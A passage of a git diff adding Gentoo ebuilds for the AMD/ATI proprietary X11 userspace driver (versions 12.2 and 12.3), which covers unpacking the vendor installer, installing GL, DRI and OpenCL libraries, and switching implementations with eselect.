+	# PowerXpress stuff
+	mv "${D}"/${ATI_ROOT}/extensions/{fglrx-,}libglx.so
+
+	# lib.
+	exeinto /usr/$(get_libdir)
+	# Everything except for the libGL.so installed in src_install-libs.
+	doexe $(find "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir} \
+		-maxdepth 1 -type f -name '*.so*' -not -name '*libGL.so*')
+	insinto /usr/$(get_libdir)
+	doins $(find "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir} \
+		-maxdepth 1 -type f -not -name '*.so*')
+
+	# DRI modules, installed into the path used by recent versions of mesa.
+	exeinto /usr/$(get_libdir)/dri
+	doexe "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir}/modules/dri/fglrx_dri.so
+
+	# AMD Cal and OpenCL libraries
+	exeinto /usr/$(get_libdir)/OpenCL/vendors/amd
+	doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/libamdocl*.so*
+	doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/libOpenCL*.so*
+	dosym libOpenCL.so.${libmajor} /usr/$(get_libdir)/OpenCL/vendors/amd/libOpenCL.so
+	exeinto /usr/$(get_libdir)
+	doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/libati*.so*
+
+	# OpenCL vendor files
+	insinto /etc/OpenCL/vendors/
+	cat > "${T}"/amdocl${oclsuffix}.icd <<-EOF
+		/usr/$(get_libdir)/OpenCL/vendors/amd/libamdocl${oclsuffix}.so
+	EOF
+	doins "${T}"/amdocl${oclsuffix}.icd
+
+	local envname="${T}"/04ati-dri-path
+	if [[ -n ${ABI} ]]; then
+		envname="${envname}-${ABI}"
+	fi
+	echo "LIBGL_DRIVERS_PATH=/usr/$(get_libdir)/dri" > "${envname}"
+	doenvd "${envname}"
+
+	# Silence the QA notice by creating missing soname symlinks
+	for so in $(find "${D}"/usr/$(get_libdir) -maxdepth 1 -name *.so.[0-9].[0-9])
+	do
+		local soname=${so##*/}
+		## let's keep also this alternative way ;)
+		#dosym ${soname} /usr/$(get_libdir)/${soname%.[0-9]}
+		dosym ${soname} /usr/$(get_libdir)/$(scanelf -qF "#f%S" ${so})
+	done
+
+	#remove static libs if not wanted
+	use static-libs || rm -rf "${D}"/usr/$(get_libdir)/libfglrx_dm.a
+}
+
+pkg_postinst() {
+	elog "To switch to AMD OpenGL, run \"eselect opengl set ati\""
+	elog "To change your xorg.conf you can use the bundled \"aticonfig\""
+	elog
+	elog "If you experience unexplained segmentation faults and kernel crashes"
+	elog "with this driver and multi-threaded applications such as wine,"
+	elog "set UseFastTLS in xorg.conf to either 0 or 1, but not 2."
+	elog
+	elog "Fully rebooting the system after an ${PN} update is recommended"
+	elog "Stopping Xorg, reloading fglrx kernel module and restart Xorg"
+	elog "might not work"
+	elog
+	elog "Some cards need acpid running to handle events"
+	elog "Please add it to boot runlevel with rc-update add acpid boot"
+
+	"${ROOT}"/usr/bin/eselect opengl set --use-old ati
+	"${ROOT}"/usr/bin/eselect opencl set --use-old amd
+}
+
+pkg_prerm() {
+	"${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
+
+pkg_postrm() {
+	"${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/ati-userspace/ati-userspace-12.2.ebuild b/x11-drivers/ati-userspace/ati-userspace-12.2.ebuild
new file mode 100644
index 00000000..e0460995
--- /dev/null
+++ b/x11-drivers/ati-userspace/ati-userspace-12.2.ebuild
@@ -0,0 +1,414 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils multilib toolchain-funcs versionator
+
+DESCRIPTION="AMD X11 drivers for radeon r600 (HD Series) and newer chipsets"
+HOMEPAGE="http://www.amd.com"
+# 8.ble will be used for beta releases.
+if [[ $(get_major_version) -gt 8 ]]; then
+	ATI_URL="http://www2.ati.com/drivers/linux/"
+	SRC_URI="${ATI_URL}/amd-driver-installer-${PV/./-}-x86.x86_64.run"
+	FOLDER_PREFIX="common/"
+else
+	SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz"
+	FOLDER_PREFIX=""
+fi
+IUSE="debug multilib"
+
+LICENSE="AMD GPL-2 as-is"
+KEYWORDS="~amd64 ~x86"
+SLOT="1"
+
+RDEPEND="<=x11-base/xorg-server-1.11.49[-minimal]
+	!x11-drivers/ati-drivers:0
+	!x11-apps/ati-drivers-extra
+	>=app-admin/eselect-opengl-1.0.7
+	app-admin/eselect-opencl
+	x11-apps/xauth
+	x11-libs/libX11
+	x11-libs/libXext
+	x11-libs/libXinerama
+	x11-libs/libXrandr
+	x11-libs/libXrender
+	multilib? (
+			app-emulation/emul-linux-x86-opengl
+			app-emulation/emul-linux-x86-xlibs
+	)
+	!<x11-drivers/ati-userspace-${PV}
+	!>x11-drivers/ati-userspace-${PV}"
+
+DEPEND="${RDEPEND}
+	sys-apps/findutils
+	x11-proto/inputproto
+	x11-proto/xf86miscproto
+	x11-proto/xf86vidmodeproto
+	x11-proto/xineramaproto
+	x11-libs/libXtst"
+
+EMULTILIB_PKG="true"
+
+S="${WORKDIR}"
+
+# QA Silencing
+QA_TEXTRELS="
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/libatiadlxx.so
+	usr/lib*/xorg/modules/glesx.so
+	usr/lib*/libaticaldd.so
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_EXECSTACK="
+	opt/bin/atiode
+	opt/bin/amdcccle
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_WX_LOAD="
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_PRESTRIPPED="
+	usr/lib\(32\|64\)\?/libXvBAW.so.1.0
+	usr/lib\(32\|64\)\?/opengl/ati/lib/libGL.so.1.2
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/libglx.so
+	usr/lib\(32\|64\)\?/xorg/modules/glesx.so
+	usr/lib\(32\|64\)\?/libAMDXvBA.so.1.0
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/dri/fglrx_dri.so
+"
+
+QA_SONAME="
+	usr/lib\(32\|64\)\?/libatiadlxx.so
+	usr/lib\(32\|64\)\?/libaticalcl.so
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/libaticalrt.so
+	usr/lib\(32\|64\)\?/libamdocl\(32\|64\)\?.so
+"
+
+QA_DT_HASH="
+	opt/bin/amdcccle
+	opt/bin/aticonfig
+	opt/bin/atiodcli
+	opt/bin/atiode
+	opt/bin/clinfo
+	opt/bin/fglrxinfo
+	opt/sbin/atieventsd
+	opt/sbin/amdnotifyui
+	usr/lib\(32\|64\)\?/libaticalcl.so
+	usr/lib\(32\|64\)\?/libaticalrt.so
+	usr/lib\(32\|64\)\?/libatiuki.so.1.0
+	usr/lib\(32\|64\)\?/libatiadlxx.so
+	usr/lib\(32\|64\)\?/libfglrx_dm.so.1.0
+	usr/lib\(32\|64\)\?/libXvBAW.so.1.0
+	usr/lib\(32\|64\)\?/libAMDXvBA.so.1.0
+	usr/lib\(32\|64\)\?/xorg/modules/amdxmm.so
+	usr/lib\(32\|64\)\?/xorg/modules/glesx.so
+	usr/lib\(32\|64\)\?/xorg/modules/linux/libfglrxdrm.so
+	usr/lib\(32\|64\)\?/xorg/modules/drivers/fglrx_drv.so
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/dri/fglrx_dri.so
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/libglx.so
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/fglrx-libglx.so
+	usr/lib\(32\|64\)\?/opengl/ati/lib/fglrx-libGL.so.1.2
+	usr/lib\(32\|64\)\?/opengl/ati/lib/libGL.so.1.2
+	usr/lib\(32\|64\)\?/OpenCL/vendors/amd/libamdocl\(32\|64\)\?.so
+	usr/lib\(32\|64\)\?/OpenCL/vendors/amd/libOpenCL.so.1
+"
+
+pkg_setup() {
+	# get the xorg-server version and set BASE_DIR for that
+	BASE_DIR="${S}/xpic"
+
+	# amd64/x86
+	if use amd64 ; then
+		MY_BASE_DIR="${BASE_DIR}_64a"
+		PKG_LIBDIR=lib64
+		ARCH_DIR="${S}/arch/x86_64"
+	else
+		MY_BASE_DIR="${BASE_DIR}"
+		PKG_LIBDIR=lib
+		ARCH_DIR="${S}/arch/x86"
+	fi
+}
+
+src_unpack() {
+	if [[ $(get_major_version) -gt 8 ]]; then
+		# Switching to a standard way to extract the files since otherwise no signature file
+		# would be created
+		local src="${DISTDIR}/${A}"
+		sh "${src}" --extract "${S}"  2&>1 /dev/null
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# These are the userspace utilities that we also have source for.
+	# We rebuild these later.
+	rm \
+		"${ARCH_DIR}"/usr/X11R6/bin/fgl_glxgears \
+		|| die "bin rm failed"
+
+        # amdcccle is shipped separately
+        rm "${ARCH_DIR}"/usr/X11R6/bin/amdcccle || die "cannot rm amdcccle"
+
+	# ACPI fixups
+	sed -i \
+		-e "s:/var/lib/xdm/authdir/authfiles/:/var/run/xauth/:" \
+		-e "s:/var/lib/gdm/:/var/gdm/:" \
+		"${S}/${FOLDER_PREFIX}etc/ati/authatieventsd.sh" \
+		|| die "sed failed."
+
+	# Since "who" is in coreutils, we're using that one instead of "finger".
+	sed -i -e 's:finger:who:' \
+		"${S}/${FOLDER_PREFIX}usr/share/doc/fglrx/examples/etc/acpi/ati-powermode.sh" \
+		|| die "Replacing 'finger' with 'who' failed."
+	# Adjust paths in the script from /usr/X11R6/bin/ to /opt/bin/ and
+	# add function to detect default state.
+	epatch "${FILESDIR}"/ati-powermode-opt-path-2.patch
+
+	cd "${S}"
+	mkdir extra || die "mkdir failed"
+	cd extra
+	unpack ./../${FOLDER_PREFIX}usr/src/ati/fglrx_sample_source.tgz
+}
+
+src_compile() {
+	ebegin "Building fgl_glxgears"
+	cd "${S}"/extra/fgl_glxgears
+	# These extra libs/utils either have an Imakefile that does not
+	# work very well without tweaking or a Makefile ignoring CFLAGS
+	# and the like. We bypass those.
+
+	# The -DUSE_GLU is needed to compile using nvidia headers
+	# according to a comment in ati-drivers-extra-8.33.6.ebuild.
+	"$(tc-getCC)" -o fgl_glxgears ${CFLAGS} ${LDFLAGS} -DUSE_GLU \
+		-I"${S}"/${FOLDER_PREFIX}usr/include fgl_glxgears.c \
+		-lGL -lGLU -lX11 -lm || die "fgl_glxgears build failed"
+	eend $?
+}
+
+src_install() {
+	# We can do two things here, and neither of them is very nice.
+
+	# For direct rendering libGL has to be able to load one or more
+	# dri modules (files ending in _dri.so, like fglrx_dri.so).
+	# Gentoo's mesa looks for these files in the location specified by
+	# LIBGL_DRIVERS_PATH or LIBGL_DRIVERS_DIR, then in the hardcoded
+	# location /usr/$(get_libdir)/dri. Ati's libGL does the same
+	# thing, but the hardcoded location is /usr/X11R6/lib/modules/dri
+	# on x86 and amd64 32bit, /usr/X11R6/lib64/modules/dri on amd64
+	# 64bit. So we can either put the .so files in that (unusual,
+	# compared to "normal" mesa libGL) location or set
+	# LIBGL_DRIVERS_PATH. We currently do the latter. See also bug
+	# 101539.
+
+	# The problem with this approach is that LIBGL_DRIVERS_PATH
+	# *overrides* the default hardcoded location, it does not extend
+	# it. So if ati-drivers is merged but a non-ati libGL is selected
+	# and its hardcoded path does not match our LIBGL_DRIVERS_PATH
+	# (because it changed in a newer mesa or because it was compiled
+	# for a different set of multilib abis than we are) stuff breaks.
+
+	# We create one file per ABI to work with "native" multilib, see
+	# below.
+
+	echo "COLON_SEPARATED=LIBGL_DRIVERS_PATH" > "${T}/03ati-colon-sep"
+	doenvd "${T}/03ati-colon-sep" || die
+
+	# All libraries that we have a 32 bit and 64 bit version of on
+	# amd64 are installed in src_install-libs. Everything else
+	# (including libraries only available in native 64bit on amd64)
+	# goes in here.
+
+	# There used to be some code here that tried to detect running
+	# under a "native multilib" portage ((precursor of)
+	# http://dev.gentoo.org/~kanaka/auto-multilib/). I removed that, it
+	# should just work (only doing some duplicate work). --marienz
+	if has_multilib_profile; then
+		local OABI=${ABI}
+		for ABI in $(get_install_abis); do
+			src_install-libs
+		done
+		ABI=${OABI}
+		unset OABI
+	else
+		src_install-libs
+	fi
+
+	# This is sorted by the order the files occur in the source tree.
+
+	# X modules.
+	exeinto /usr/$(get_libdir)/xorg/modules/drivers
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/drivers/fglrx_drv.so
+	exeinto /usr/$(get_libdir)/xorg/modules/linux
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/linux/libfglrxdrm.so
+	exeinto /usr/$(get_libdir)/xorg/modules
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/{glesx.so,amdxmm.so}
+
+	# Arch-specific files.
+	# (s)bin.
+	into /opt
+	dosbin "${ARCH_DIR}"/usr/sbin/atieventsd
+	dobin "${ARCH_DIR}"/usr/bin/clinfo
+	# We cleaned out the compilable stuff in src_unpack
+	dobin "${ARCH_DIR}"/usr/X11R6/bin/*
+
+	# Common files.
+	# etc.
+	insinto /etc/ati
+	exeinto /etc/ati
+	# Everything except for the authatieventsd.sh script.
+	doins ${FOLDER_PREFIX}etc/ati/{logo*,control,atiogl.xml,signature,amdpcsdb.default}
+	doexe ${FOLDER_PREFIX}etc/ati/authatieventsd.sh
+
+	# include.
+	insinto /usr
+	doins -r ${FOLDER_PREFIX}usr/include
+	insinto /usr/include/X11/extensions
+
+	# Just the atigetsysteminfo.sh script.
+	into /usr
+	dosbin ${FOLDER_PREFIX}usr/sbin/*
+
+	# doc.
+	dohtml -r ${FOLDER_PREFIX}usr/share/doc/fglrx
+
+	doman ${FOLDER_PREFIX}usr/share/man/man8/atieventsd.8
+
+	pushd ${FOLDER_PREFIX}usr/share/doc/fglrx/examples/etc/acpi > /dev/null
+
+	exeinto /etc/acpi
+	doexe ati-powermode.sh
+	insinto /etc/acpi/events
+	doins events/*
+
+	popd > /dev/null
+
+	# Done with the "source" tree. Install tools we rebuilt:
+	dobin extra/fgl_glxgears/fgl_glxgears
+	newdoc extra/fgl_glxgears/README README.fgl_glxgears
+
+	# Gentoo-specific stuff:
+	newinitd "${FILESDIR}"/atieventsd.init atieventsd
+	echo 'ATIEVENTSDOPTS=""' > "${T}"/atieventsd.conf
+	newconfd "${T}"/atieventsd.conf atieventsd
+
+	# PowerXpress stuff
+	exeinto /usr/$(get_libdir)/fglrx
+	doexe "${FILESDIR}"/switchlibGL || die "doexe switchlibGL failed"
+	cp "${FILESDIR}"/switchlibGL "${T}"/switchlibglx
+	doexe "${T}"/switchlibglx || die "doexe switchlibglx failed"
+}
+
+src_install-libs() {
+	if [[ "${ABI}" == "amd64" ]]; then
+		local EX_BASE_DIR="${BASE_DIR}_64a"
+		local pkglibdir=lib64
+		local MY_ARCH_DIR="${S}/arch/x86_64"
+		local oclsuffix=64
+	else
+		local EX_BASE_DIR="${BASE_DIR}"
+		local pkglibdir=lib
+		local MY_ARCH_DIR="${S}/arch/x86"
+		local oclsuffix=32
+	fi
+	einfo "ati tree '${pkglibdir}' -> '$(get_libdir)' on system"
+
+	local ATI_ROOT=/usr/$(get_libdir)/opengl/ati
+	# To make sure we do not miss a spot when these change.
+	local libmajor=1 libminor=2
+	local libver=${libmajor}.${libminor}
+
+	# The GLX libraries
+	# (yes, this really is "lib" even on amd64/multilib --marienz)
+	exeinto ${ATI_ROOT}/lib
+	newexe "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir}/fglrx/fglrx-libGL.so.${libver} \
+		libGL.so.${libver}
+	dosym libGL.so.${libver} ${ATI_ROOT}/lib/libGL.so.${libmajor}
+	dosym libGL.so.${libver} ${ATI_ROOT}/lib/libGL.so
+
+	exeinto ${ATI_ROOT}/extensions
+	doexe "${EX_BASE_DIR}"/usr/X11R6/${pkglibdir}/modules/extensions/fglrx/fglrx-libglx.so
+	# PowerXpress stuff
+	mv "${D}"/${ATI_ROOT}/extensions/{fglrx-,}libglx.so
+
+	# lib.
+	exeinto /usr/$(get_libdir)
+	# Everything except for the libGL.so installed in src_install-libs.
+	doexe $(find "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir} \
+		-maxdepth 1 -type f -name '*.so*' -not -name '*libGL.so*')
+	insinto /usr/$(get_libdir)
+	doins $(find "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir} \
+		-maxdepth 1 -type f -not -name '*.so*')
+
+	# DRI modules, installed into the path used by recent versions of mesa.
+	exeinto /usr/$(get_libdir)/dri
+	doexe "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir}/modules/dri/fglrx_dri.so
+
+	# AMD Cal and OpenCL libraries
+	exeinto /usr/$(get_libdir)/OpenCL/vendors/amd
+	doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/libamdocl*.so*
+	doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/libOpenCL*.so*
+	dosym libOpenCL.so.${libmajor} /usr/$(get_libdir)/OpenCL/vendors/amd/libOpenCL.so
+	exeinto /usr/$(get_libdir)
+	doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/libati*.so*
+
+	# OpenCL vendor files
+	insinto /etc/OpenCL/vendors/
+	cat > "${T}"/amdocl${oclsuffix}.icd <<-EOF
+		/usr/$(get_libdir)/OpenCL/vendors/amd/libamdocl${oclsuffix}.so
+	EOF
+	doins "${T}"/amdocl${oclsuffix}.icd
+
+	local envname="${T}"/04ati-dri-path
+	if [[ -n ${ABI} ]]; then
+		envname="${envname}-${ABI}"
+	fi
+	echo "LIBGL_DRIVERS_PATH=/usr/$(get_libdir)/dri" > "${envname}"
+	doenvd "${envname}"
+
+	# Silence the QA notice by creating missing soname symlinks
+	for so in $(find "${D}"/usr/$(get_libdir) -maxdepth 1 -name *.so.[0-9].[0-9])
+	do
+		local soname=${so##*/}
+		## let's keep also this alternative way ;)
+		#dosym ${soname} /usr/$(get_libdir)/${soname%.[0-9]}
+		dosym ${soname} /usr/$(get_libdir)/$(scanelf -qF "#f%S" ${so})
+	done
+
+}
+
+pkg_postinst() {
+	elog "To switch to AMD OpenGL, run \"eselect opengl set ati\""
+	elog "To change your xorg.conf you can use the bundled \"aticonfig\""
+	elog
+	elog "If you experience unexplained segmentation faults and kernel crashes"
+	elog "with this driver and multi-threaded applications such as wine,"
+	elog "set UseFastTLS in xorg.conf to either 0 or 1, but not 2."
+	elog
+	elog "Fully rebooting the system after an ${PN} update is recommended"
+	elog "Stopping Xorg, reloading fglrx kernel module and restart Xorg"
+	elog "might not work"
+	elog
+	elog "Some cards need acpid running to handle events"
+	elog "Please add it to boot runlevel with rc-update add acpid boot"
+
+	"${ROOT}"/usr/bin/eselect opengl set --use-old ati
+	"${ROOT}"/usr/bin/eselect opencl set --use-old amd
+}
+
+pkg_prerm() {
+	"${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
+
+pkg_postrm() {
+	"${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/ati-userspace/ati-userspace-12.3.ebuild b/x11-drivers/ati-userspace/ati-userspace-12.3.ebuild
new file mode 100644
index 00000000..7d0cf802
--- /dev/null
+++ b/x11-drivers/ati-userspace/ati-userspace-12.3.ebuild
@@ -0,0 +1,416 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils multilib toolchain-funcs versionator
+
+DESCRIPTION="AMD X11 drivers for radeon r600 (HD Series) and newer chipsets"
+HOMEPAGE="http://www.amd.com"
+# 8.ble will be used for beta releases.
+if [[ $(get_major_version) -gt 8 ]]; then
+	ATI_URL="http://www2.ati.com/drivers/linux/"
+	SRC_URI="${ATI_URL}/amd-driver-installer-${PV/./-}-x86.x86_64.run"
+	FOLDER_PREFIX="common/"
+else
+	SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz"
+	FOLDER_PREFIX=""
+fi
+IUSE="debug multilib static-libs"
+
+LICENSE="AMD GPL-2 as-is"
+KEYWORDS="~amd64 ~x86"
+SLOT="1"
+
+RDEPEND="<=x11-base/xorg-server-1.11.49[-minimal]
+	!x11-drivers/ati-drivers:0
+	!x11-apps/ati-drivers-extra
+	>=app-admin/eselect-opengl-1.0.7
+	app-admin/eselect-opencl
+	x11-apps/xauth
+	x11-libs/libX11
+	x11-libs/libXext
+	x11-libs/libXinerama
+	x11-libs/libXrandr
+	x11-libs/libXrender
+	multilib? (
+			app-emulation/emul-linux-x86-opengl
+			app-emulation/emul-linux-x86-xlibs
+	)
+	!<x11-drivers/ati-userspace-${PV}
+	!>x11-drivers/ati-userspace-${PV}"
+
+DEPEND="${RDEPEND}
+	sys-apps/findutils
+	x11-proto/inputproto
+	x11-proto/xf86miscproto
+	x11-proto/xf86vidmodeproto
+	x11-proto/xineramaproto
+	x11-libs/libXtst"
+
+EMULTILIB_PKG="true"
+
+S="${WORKDIR}"
+
+# QA Silencing
+QA_TEXTRELS="
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/libatiadlxx.so
+	usr/lib*/xorg/modules/glesx.so
+	usr/lib*/libaticaldd.so
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_EXECSTACK="
+	opt/bin/atiode
+	opt/bin/amdcccle
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_WX_LOAD="
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_PRESTRIPPED="
+	usr/lib\(32\|64\)\?/libXvBAW.so.1.0
+	usr/lib\(32\|64\)\?/opengl/ati/lib/libGL.so.1.2
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/libglx.so
+	usr/lib\(32\|64\)\?/xorg/modules/glesx.so
+	usr/lib\(32\|64\)\?/libAMDXvBA.so.1.0
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/dri/fglrx_dri.so
+"
+
+QA_SONAME="
+	usr/lib\(32\|64\)\?/libatiadlxx.so
+	usr/lib\(32\|64\)\?/libaticalcl.so
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/libaticalrt.so
+	usr/lib\(32\|64\)\?/libamdocl\(32\|64\)\?.so
+"
+
+QA_DT_HASH="
+	opt/bin/amdcccle
+	opt/bin/aticonfig
+	opt/bin/atiodcli
+	opt/bin/atiode
+	opt/bin/clinfo
+	opt/bin/fglrxinfo
+	opt/sbin/atieventsd
+	opt/sbin/amdnotifyui
+	usr/lib\(32\|64\)\?/libaticalcl.so
+	usr/lib\(32\|64\)\?/libaticalrt.so
+	usr/lib\(32\|64\)\?/libatiuki.so.1.0
+	usr/lib\(32\|64\)\?/libatiadlxx.so
+	usr/lib\(32\|64\)\?/libfglrx_dm.so.1.0
+	usr/lib\(32\|64\)\?/libXvBAW.so.1.0
+	usr/lib\(32\|64\)\?/libAMDXvBA.so.1.0
+	usr/lib\(32\|64\)\?/xorg/modules/amdxmm.so
+	usr/lib\(32\|64\)\?/xorg/modules/glesx.so
+	usr/lib\(32\|64\)\?/xorg/modules/linux/libfglrxdrm.so
+	usr/lib\(32\|64\)\?/xorg/modules/drivers/fglrx_drv.so
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/dri/fglrx_dri.so
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/libglx.so
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/fglrx-libglx.so
+	usr/lib\(32\|64\)\?/opengl/ati/lib/fglrx-libGL.so.1.2
+	usr/lib\(32\|64\)\?/opengl/ati/lib/libGL.so.1.2
+	usr/lib\(32\|64\)\?/OpenCL/vendors/amd/libamdocl\(32\|64\)\?.so
+	usr/lib\(32\|64\)\?/OpenCL/vendors/amd/libOpenCL.so.1
+"
+
+pkg_setup() {
+	# get the xorg-server version and set BASE_DIR for that
+	BASE_DIR="${S}/xpic"
+
+	# amd64/x86
+	if use amd64 ; then
+		MY_BASE_DIR="${BASE_DIR}_64a"
+		PKG_LIBDIR=lib64
+		ARCH_DIR="${S}/arch/x86_64"
+	else
+		MY_BASE_DIR="${BASE_DIR}"
+		PKG_LIBDIR=lib
+		ARCH_DIR="${S}/arch/x86"
+	fi
+}
+
+src_unpack() {
+	if [[ $(get_major_version) -gt 8 ]]; then
+		# Switching to a standard way to extract the files since otherwise no signature file
+		# would be created
+		local src="${DISTDIR}/${A}"
+		sh "${src}" --extract "${S}"  2&>1 /dev/null
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# These are the userspace utilities that we also have source for.
+	# We rebuild these later.
+	rm \
+		"${ARCH_DIR}"/usr/X11R6/bin/fgl_glxgears \
+		|| die "bin rm failed"
+
+        # amdcccle is shipped separately
+        rm "${ARCH_DIR}"/usr/X11R6/bin/amdcccle || die "cannot rm amdcccle"
+
+	# ACPI fixups
+	sed -i \
+		-e "s:/var/lib/xdm/authdir/authfiles/:/var/run/xauth/:" \
+		-e "s:/var/lib/gdm/:/var/gdm/:" \
+		"${S}/${FOLDER_PREFIX}etc/ati/authatieventsd.sh" \
+		|| die "sed failed."
+
+	# Since "who" is in coreutils, we're using that one instead of "finger".
+	sed -i -e 's:finger:who:' \
+		"${S}/${FOLDER_PREFIX}usr/share/doc/fglrx/examples/etc/acpi/ati-powermode.sh" \
+		|| die "Replacing 'finger' with 'who' failed."
+	# Adjust paths in the script from /usr/X11R6/bin/ to /opt/bin/ and
+	# add function to detect default state.
+	epatch "${FILESDIR}"/ati-powermode-opt-path-2.patch
+
+	cd "${S}"
+	mkdir extra || die "mkdir failed"
+	cd extra
+	unpack ./../${FOLDER_PREFIX}usr/src/ati/fglrx_sample_source.tgz
+}
+
+src_compile() {
+	ebegin "Building fgl_glxgears"
+	cd "${S}"/extra/fgl_glxgears
+	# These extra libs/utils either have an Imakefile that does not
+	# work very well without tweaking or a Makefile ignoring CFLAGS
+	# and the like. We bypass those.
+
+	# The -DUSE_GLU is needed to compile using nvidia headers
+	# according to a comment in ati-drivers-extra-8.33.6.ebuild.
+	"$(tc-getCC)" -o fgl_glxgears ${CFLAGS} ${LDFLAGS} -DUSE_GLU \
+		-I"${S}"/${FOLDER_PREFIX}usr/include fgl_glxgears.c \
+		-lGL -lGLU -lX11 -lm || die "fgl_glxgears build failed"
+	eend $?
+}
+
+src_install() {
+	# We can do two things here, and neither of them is very nice.
+
+	# For direct rendering libGL has to be able to load one or more
+	# dri modules (files ending in _dri.so, like fglrx_dri.so).
+	# Gentoo's mesa looks for these files in the location specified by
+	# LIBGL_DRIVERS_PATH or LIBGL_DRIVERS_DIR, then in the hardcoded
+	# location /usr/$(get_libdir)/dri. Ati's libGL does the same
+	# thing, but the hardcoded location is /usr/X11R6/lib/modules/dri
+	# on x86 and amd64 32bit, /usr/X11R6/lib64/modules/dri on amd64
+	# 64bit. So we can either put the .so files in that (unusual,
+	# compared to "normal" mesa libGL) location or set
+	# LIBGL_DRIVERS_PATH. We currently do the latter. See also bug
+	# 101539.
+
+	# The problem with this approach is that LIBGL_DRIVERS_PATH
+	# *overrides* the default hardcoded location, it does not extend
+	# it. So if ati-drivers is merged but a non-ati libGL is selected
+	# and its hardcoded path does not match our LIBGL_DRIVERS_PATH
+	# (because it changed in a newer mesa or because it was compiled
+	# for a different set of multilib abis than we are) stuff breaks.
+
+	# We create one file per ABI to work with "native" multilib, see
+	# below.
+
+	echo "COLON_SEPARATED=LIBGL_DRIVERS_PATH" > "${T}/03ati-colon-sep"
+	doenvd "${T}/03ati-colon-sep" || die
+
+	# All libraries that we have a 32 bit and 64 bit version of on
+	# amd64 are installed in src_install-libs. Everything else
+	# (including libraries only available in native 64bit on amd64)
+	# goes in here.
+
+	# There used to be some code here that tried to detect running
+	# under a "native multilib" portage ((precursor of)
+	# http://dev.gentoo.org/~kanaka/auto-multilib/). I removed that, it
+	# should just work (only doing some duplicate work). --marienz
+	if has_multilib_profile; then
+		local OABI=${ABI}
+		for ABI in $(get_install_abis); do
+			src_install-libs
+		done
+		ABI=${OABI}
+		unset OABI
+	else
+		src_install-libs
+	fi
+
+	# This is sorted by the order the files occur in the source tree.
+
+	# X modules.
+	exeinto /usr/$(get_libdir)/xorg/modules/drivers
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/drivers/fglrx_drv.so
+	exeinto /usr/$(get_libdir)/xorg/modules/linux
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/linux/libfglrxdrm.so
+	exeinto /usr/$(get_libdir)/xorg/modules
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/{glesx.so,amdxmm.so}
+
+	# Arch-specific files.
+	# (s)bin.
+	into /opt
+	dosbin "${ARCH_DIR}"/usr/sbin/atieventsd
+	dobin "${ARCH_DIR}"/usr/bin/clinfo
+	# We cleaned out the compilable stuff in src_unpack
+	dobin "${ARCH_DIR}"/usr/X11R6/bin/*
+
+	# Common files.
+	# etc.
+	insinto /etc/ati
+	exeinto /etc/ati
+	# Everything except for the authatieventsd.sh script.
+	doins ${FOLDER_PREFIX}etc/ati/{logo*,control,atiogl.xml,signature,amdpcsdb.default}
